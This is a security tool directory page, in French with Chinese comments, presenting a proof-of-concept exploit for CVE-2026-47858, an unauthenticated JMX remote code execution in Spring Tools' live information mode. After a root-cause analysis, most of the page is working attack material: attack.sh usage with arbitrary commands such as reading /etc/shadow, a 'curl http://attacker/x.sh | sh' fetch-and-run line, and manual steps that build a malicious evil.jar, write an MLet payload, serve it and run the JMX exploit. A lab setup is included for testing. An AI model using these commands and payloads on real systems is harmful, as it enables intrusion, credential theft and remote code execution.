Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-47858 — Preuve de concept d'exploit pour une RCE JMX non authentifiée dans le mode d'informations en direct de Spring Tools, utilisant le chargement distant de classes MLet pour exécuter des commandes arbitraires sur des applications Spring Boot vulnérables. | Kitploit
Outils/GitHubGitHub/realstatus/cve-2026-47858
Génération de PayloadsAnalyse des VulnérabilitésExploitationTests d'Intrusion
GitHubrealstatus/cve-2026-47858

CVE-2026-47858

Preuve de concept d'exploit pour une RCE JMX non authentifiée dans le mode d'informations en direct de Spring Tools, utilisant le chargement distant de classes MLet pour exécuter des commandes arbitraires sur des applications Spring Boot vulnérables.

Voir le dépôt
28il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-47858 — Exécution de code à distance via JMX non authentifié en mode live information de Spring Tools (PoC)

README en anglais | Avis de vulnérabilité : Spring Security Advisory | Enregistrement CVE

Vulnérabilité : Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0, lors du démarrage d'une application Spring Boot en mode live information (activé par défaut), injecte dans l'application des paramètres JMX distants sans authentification, sans TLS et liés à toutes les interfaces réseau. Un attaquant sur un réseau adjacent peut se connecter à ce JMX MBeanServer sans identifiants et, via le chargement de classes distantes MLet, réaliser un RCE direct (privilèges root).

  • CWE-306 Authentification manquante pour une fonction critique
  • CVSS 3.1 8.0 ÉLEVÉ — AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Versions corrigées : Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0 (toutes les versions antérieures à 5 sont également affectées et ne sont plus prises en charge)

Table des matières

  1. Cause racine (preuves dans le code source)
  2. Reproduction rapide (script en un clic)
  3. Utilisation de l'exploit (commandes flexibles)
  4. Principe de l'attaque : RCE direct, non de type reverse connection
  5. Matrice de tests et preuves
  6. Correctifs et mesures d'atténuation
  7. Structure du dépôt
  8. Avertissement

1. Cause racine (preuves dans le code source)

En comparant le tag affecté 5.2.0.RELEASE (== v2.2.0) avec le tag corrigé 5.3.0.RELEASE (== v2.3.0) :

Version vulnérable eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java :

"-Dcom.sun.management.jmxremote",                  // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false",          // 无 TLS!
"-Djava.rmi.server.hostname=localhost",              // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*"      // 全部 actuator 端点经 JMX 暴露
  • BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true : activé par défaut, chaque lancement d'une application Boot depuis l'IDE injecte les paramètres ci-dessus.
  • L'extension VSCode 2.2.0 (vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injecte les mêmes -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.

Version corrigée 5.3.0 :

  • En cas de port fixe, ajout de -Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX lié uniquement à la boucle locale).
  • Par défaut (port 0), plus aucune injection des paramètres com.sun.management.jmxremote* ; à la place, attachement local par PID de processus via l'API Attach (idem côté VSCode, les paramètres JMX distants sont entièrement supprimés de debug-config-provider.ts).

Remarque : -Dcom.sun.management.jmxremote.port seul suffit à activer l'agent JMX (sans l'interrupteur principal com.sun.management.jmxremote), la variante VSCode est également concernée.


2. Utilisation rapide (deux scripts indépendants)

Les scripts sont totalement séparés : setup-lab.sh se charge uniquement de monter l'environnement, attack.sh se charge uniquement de l'exploitation offensive. Dépendances : docker, JDK 17+ (par défaut /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (facultatif).

2.1 Première étape : monter l'environnement (setup-lab.sh)

./setup-lab.sh vuln          # 漏洞配置 (5.2.0 参数)   [默认]
./setup-lab.sh fixed-pinned  # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
./setup-lab.sh fixed-auto    # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
./setup-lab.sh cleanup       # 停止并删除容器与网络

Auto-complétion : construction de l'application Spring Boot victime → création d'un réseau bridge docker isolé (conteneur victime 172.22.0.x, attaquant sur l'hôte, simulant un réseau adjacent) → démarrage de l'application avec les paramètres JVM correspondant à la version → affichage du port d'écoute JMX → sortie de l'IP de la machine victime / du port JMX / de la passerelle. Le conteneur victime reste en cours d'exécution, permettant de passer directement à l'étape d'attaque suivante.

2.2 Deuxième étape : exploitation de l'attaque (attack.sh)

./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
# 自定义命令(默认 id; hostname; uname -a,改命令无需重编译)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000

利用脚本自动完成:编译恶意 jar → 生成 mlet.txt(命令经 <ARG> 传入)→ 起 HTTP 服务提供载荷 → 运行利用。载荷只执行命令并回显:命令经 /bin/sh -c 在受害 JVM 内同步执行,输出在内存中捕获,随后由利用程序经同一条 JMX 连接调用 Pwn.getOutput() 拉回攻击端直接显示(含退出码),目标机不写任何文件。若还想把输出留在目标机,在命令里自行重定向即可(如 "id > /tmp/out.txt")。

对照实验:先 ./setup-lab.sh vuln 攻击成功;再 ./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned 攻击应失败(JMX 仅回环)。


3. 漏洞利用用法(灵活命令)

3.1 一键利用 attack.sh(推荐)

命令完全可配置,改命令无需重新编译任何东西(命令经 MLET <ARG> 标签传入,jar 与命令无关):

./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]

# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a"                 # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000                 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000   # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000                            # 通用远程目标

# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ...   # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ...        # 指定 JDK

Processus : compilation automatique de evil.jar → échappement XML de la commande puis génération de mlet.txt → démarrage d'un service HTTP fournissant evil.jar + mlet.txt → compilation et exécution de JmxExploit. La charge utile se contente d'exécuter la commande et de renvoyer la sortie, sans écrire aucun fichier sur la machine cible.

3.2 Étapes manuelles

# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .

# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF

# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0   # 在 exploit-server 目录下

# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
     -cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"

# 5) 自行验证命令是否执行(输出在受害应用控制台/日志里,如 docker exec victim tail /app.log)

3.3 Charge utile et retour d'affichage

Télécharger l’outil